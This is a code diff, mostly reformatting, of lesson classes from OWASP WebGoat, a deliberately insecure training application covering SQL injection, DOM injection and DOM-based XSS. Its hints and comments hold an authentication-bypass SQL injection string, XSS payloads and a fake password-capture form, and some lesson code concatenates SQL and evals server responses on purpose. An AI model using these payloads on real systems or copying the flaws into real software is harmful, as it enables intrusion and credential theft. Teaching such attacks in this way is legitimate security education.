hints.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ ' OR userid=112 OR password=' ].");
// Stage 2
hints
.add("Change the Stored procedure to use bind variables.");
hints.add("Change the Stored procedure to use bind variables.");
return hints;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2};
return new String[] {STAGE1};
public String[] getStages()
{
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
return new String[] { STAGE1 };
}
/**
@ -144,8 +136,7 @@ public class DBSQLInjection extends GoatHillsFinancial
if (STAGE1.equals(stage))
{
instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
+ "The goal here is to login as the user "
+ PRIZE_EMPLOYEE_NAME
+ "The goal here is to login as the user " + PRIZE_EMPLOYEE_NAME
+ ", who is in the Admin group. "
+ "You do not have the password, but the form is SQL injectable. "
+ "View the EMPLOYEE_LOGIN stored procedure and see if you can "
@ -165,15 +156,13 @@ public class DBSQLInjection extends GoatHillsFinancial
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
@ -186,42 +175,37 @@ public class DBSQLInjection extends GoatHillsFinancial
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName());
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
// System.out.println("CrossSiteScripting.handleRequest() dispatching to: " +
// action.getActionName());
if (!action.requiresAuthentication() || action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
// setCurrentAction(s, action.getNextPage(s));
}
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
@ -239,7 +223,6 @@ public class DBSQLInjection extends GoatHillsFinancial
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
@ -251,9 +234,10 @@ public class DBSQLInjection extends GoatHillsFinancial
}
@Override
protected boolean getDefaultHidden() {
protected boolean getDefaultHidden()
{
String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds"));
boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden;
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.DBSQLInjection;
import java.sql.CallableStatement;
@ -7,7 +8,6 @@ import java.sql.Statement;
import java.sql.Types;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -18,32 +18,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -52,32 +51,25 @@ public class Login extends DefaultLessonAction
private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
{
//System.out.println("Login.handleRequest()");
// System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "."
+ DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null;
try
{
employeeId = s.getParser().getStringParameter(
DBSQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(
DBSQLInjection.PASSWORD);
employeeId = s.getParser().getStringParameter(DBSQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(DBSQLInjection.PASSWORD);
// Attempt authentication
boolean authenticated = login(s, employeeId, password);
@ -88,13 +80,11 @@ public class Login extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -103,34 +93,28 @@ public class Login extends DefaultLessonAction
else
s.setMessage("Login failed");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
}
}
public String getNextPage(WebSession s)
{
String nextPage = DBSQLInjection.LOGIN_ACTION;
if (isAuthenticated(s))
nextPage = chainedAction.getNextPage(s);
if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, String userId, String password)
{
boolean authenticated = false;
@ -142,34 +126,34 @@ public class Login extends DefaultLessonAction
try
{
CallableStatement statement = WebSession.getConnection(s)
.prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId));
statement.setString(3, password);
statement.execute();
int rows = statement.getInt(1);
if (rows > 0) {
setSessionAttribute(s,
getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "."
+ DBSQLInjection.USER_ID, userId);
if (rows > 0)
{
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.USER_ID, userId);
authenticated = true;
if (DBSQLInjection.STAGE1.equals(getStage(s)) &&
DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId))
if (DBSQLInjection.STAGE1.equals(getStage(s))
&& DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId))
{
setStageComplete(s, DBSQLInjection.STAGE1);
}
} else {
}
else
{
if (DBSQLInjection.STAGE2.equals(getStage(s)))
{
try
{
String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }";
statement = WebSession.getConnection(s)
.prepareCall(call2, ResultSet.TYPE_SCROLL_INSENSITIVE,
statement = WebSession.getConnection(s).prepareCall(call2,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId));
@ -177,26 +161,24 @@ public class Login extends DefaultLessonAction
statement.execute();
rows = statement.getInt(1);
if (rows > 0)
setStageComplete(s, DBSQLInjection.STAGE2);
}
catch (SQLException sqle2){}
if (rows > 0) setStageComplete(s, DBSQLInjection.STAGE2);
} catch (SQLException sqle2)
{
}
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error logging in: " + sqle.getLocalizedMessage());
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error logging in: " + e.getLocalizedMessage());
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
// System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
@ -215,8 +197,7 @@ public class Login extends DefaultLessonAction
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
@ -225,18 +206,15 @@ public class Login extends DefaultLessonAction
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -16,32 +16,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -56,8 +55,8 @@ public class DOMInjection extends LessonAdapter
private final static String KEY = "key";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s)
{
@ -69,13 +68,11 @@ public class DOMInjection extends LessonAdapter
{
String userKey = s.getParser().getRawParameter(KEY, "");
String fromAJAX = s.getParser().getRawParameter("from", "");
if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0
&& userKey.equals(key))
if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key))
{
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print("document.forms[0].SUBMIT.disabled = false;");
out.flush();
out.close();
@ -85,42 +82,31 @@ public class DOMInjection extends LessonAdapter
{
makeSuccess(s);
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
String lineSep = System.getProperty("line.separator");
String script = "<script>" + lineSep + "function validate() {"
+ lineSep + "var keyField = document.getElementById('key');"
+ lineSep + "var url = '" + getLink()
+ "&from=ajax&key=' + encodeURIComponent(keyField.value);"
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep
+ " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep
+ " var message = req.responseText;" + lineSep
+ " eval(message);" + lineSep + " }}}" + lineSep
+ "</script>" + lineSep;
String script = "<script>" + lineSep + "function validate() {" + lineSep
+ "var keyField = document.getElementById('key');" + lineSep + "var url = '" + getLink()
+ "&from=ajax&key=' + encodeURIComponent(keyField.value);" + lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep + " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep + " var message = req.responseText;"
+ lineSep + " eval(message);" + lineSep + " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script));
ec.addElement(new BR().addElement(new H1()
.addElement("Welcome to WebGoat Registration Page:")));
ec
.addElement(new BR()
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:")));
ec.addElement(new BR()
.addElement("Please enter the license key that was emailed to you to start using the application."));
ec.addElement(new BR());
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("70%").setAlign("center");
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("70%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD(new StringElement("License Key: ")));
@ -150,27 +136,23 @@ public class DOMInjection extends LessonAdapter
return ec;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s)
{
@ -181,7 +163,6 @@ public class DOMInjection extends LessonAdapter
return hints;
}
public String getTitle()
{
return "DOM Injection";

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
@ -6,7 +7,6 @@ import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -18,31 +18,40 @@ import org.apache.ecs.html.Input;
import org.apache.ecs.html.Script;
import org.owasp.webgoat.session.*;
public class DOMXSS extends SequentialLessonAdapter {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public class DOMXSS extends SequentialLessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String PERSON = "person";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s) {
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception {
protected Element doStage1(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1) {
if (attackString.toString().toLowerCase().indexOf("img") != -1
&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1)
{
getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed. ");
}
@ -50,14 +59,18 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec);
}
protected Element doStage2(WebSession s) throws Exception {
protected Element doStage2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1 && attackString.toString().toLowerCase().indexOf("onerror") != -1 && attackString.toString().toLowerCase().indexOf("alert") != -1) {
if (attackString.toString().toLowerCase().indexOf("img") != -1
&& attackString.toString().toLowerCase().indexOf("onerror") != -1
&& attackString.toString().toLowerCase().indexOf("alert") != -1)
{
getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. ");
}
@ -65,28 +78,34 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec);
}
protected Element doStage3(WebSession s) throws Exception {
protected Element doStage3(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("iframe") != -1 && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) {
if (attackString.toString().toLowerCase().indexOf("iframe") != -1
&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
{
getLessonTracker(s).setStage(4);
s.setMessage("Stage 3 completed.");
}
return (ec);
}
protected Element doStage4(WebSession s) throws Exception {
protected Element doStage4(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) {
if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1
&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
{
getLessonTracker(s).setStage(5);
s.setMessage("Stage 4 completed.");
}
@ -94,7 +113,8 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec);
}
protected Element doStage5(WebSession s) throws Exception {
protected Element doStage5(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement(mainContent(s));
@ -107,7 +127,7 @@ public class DOMXSS extends SequentialLessonAdapter {
String file = s.getWebResource("javascript/DOMXSS.js");
String content = getFileContent(file);
if(content.indexOf("escapeHTML(name)") != -1)
if (content.indexOf("escapeHTML(name)") != -1)
{
makeSuccess(s);
}
@ -115,11 +135,13 @@ public class DOMXSS extends SequentialLessonAdapter {
return ec;
}
protected ElementContainer mainContent(WebSession s) {
protected ElementContainer mainContent(WebSession s)
{
StringBuffer attackString = null;
ElementContainer ec = new ElementContainer();
try {
try
{
ec.addElement(new Script().setSrc("javascript/DOMXSS.js"));
@ -139,7 +161,8 @@ public class DOMXSS extends SequentialLessonAdapter {
Element b = ECSFactory.makeButton("Submit Solution");
ec.addElement(b);
} catch (Exception e) {
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
@ -152,7 +175,8 @@ public class DOMXSS extends SequentialLessonAdapter {
*
* @return The hints value
*/
public List<String> getHints(WebSession s) {
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Try entering the following: " + "&lt;IMG SRC=\"images/logos/owasp.jpg\"/&gt;");
@ -161,21 +185,23 @@ public class DOMXSS extends SequentialLessonAdapter {
hints.add("Try entering the following: " + "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;");
hints.add("Try entering the following: " + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " +
"onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;");
hints
.add("Try entering the following: "
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;");
// Attack Strings:
// <IMG SRC="images/logos/owasp.jpg"/>
//Attack Strings:
// <img src=x onerror=;;alert('XSS') />
//<IMG SRC="images/logos/owasp.jpg"/>
//<img src=x onerror=;;alert('XSS') />
//<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
//Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
// <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
// Please enter your password:<BR><input type = "password" name="pass"/><button
// onClick="javascript:alert('I
// have your password: ' +
// pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
return hints;
}
@ -187,11 +213,13 @@ public class DOMXSS extends SequentialLessonAdapter {
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() {
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Category getDefaultCategory() {
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
@ -200,23 +228,35 @@ public class DOMXSS extends SequentialLessonAdapter {
*
* @return The title value
*/
public String getTitle() {
public String getTitle()
{
return ("LAB: DOM-Based cross-site scripting");
}
public String getInstructions(WebSession s) {
public String getInstructions(WebSession s)
{
String instructions = "";
if (getLessonTracker(s).getStage() == 1) {
if (getLessonTracker(s).getStage() == 1)
{
instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: <a href = '/WebGoat/images/logos/owasp.jpg'>OWASP IMAGE</a>";
} else if (getLessonTracker(s).getStage() == 2) {
}
else if (getLessonTracker(s).getStage() == 2)
{
instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag";
} else if (getLessonTracker(s).getStage() == 3) {
}
else if (getLessonTracker(s).getStage() == 3)
{
instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag.";
} else if (getLessonTracker(s).getStage() == 4) {
instructions = "STAGE 4:\tUse the following to create a fake login form:<br><br>" + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " +
"onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;";
} else if(getLessonTracker(s).getStage() == 5) {
}
else if (getLessonTracker(s).getStage() == 4)
{
instructions = "STAGE 4:\tUse the following to create a fake login form:<br><br>"
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;";
}
else if (getLessonTracker(s).getStage() == 5)
{
instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in WebContent/javascript/escape.js.";
}
return (instructions);
@ -232,24 +272,21 @@ public class DOMXSS extends SequentialLessonAdapter {
is = new BufferedReader(new FileReader(new File(content)));
String s = null;
while((s = is.readLine()) != null)
while ((s = is.readLine()) != null)
{
sb.append(s);
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
if(is != null)
if (is != null)
{
try
{
is.close();
}
catch (IOException ioe)
} catch (IOException ioe)
{
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -7,7 +8,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -18,38 +18,36 @@ import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.ParameterNotFoundException;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -72,7 +70,8 @@ public class DOS_Login extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -96,19 +95,20 @@ public class DOS_Login extends LessonAdapter
// Check if the login is valid
Connection connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM user_system_data WHERE user_name = '"
+ username + "' and password = '" + password + "'";
String query = "SELECT * FROM user_system_data WHERE user_name = '" + username + "' and password = '"
+ password + "'";
ec.addElement(new StringElement(query));
try
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
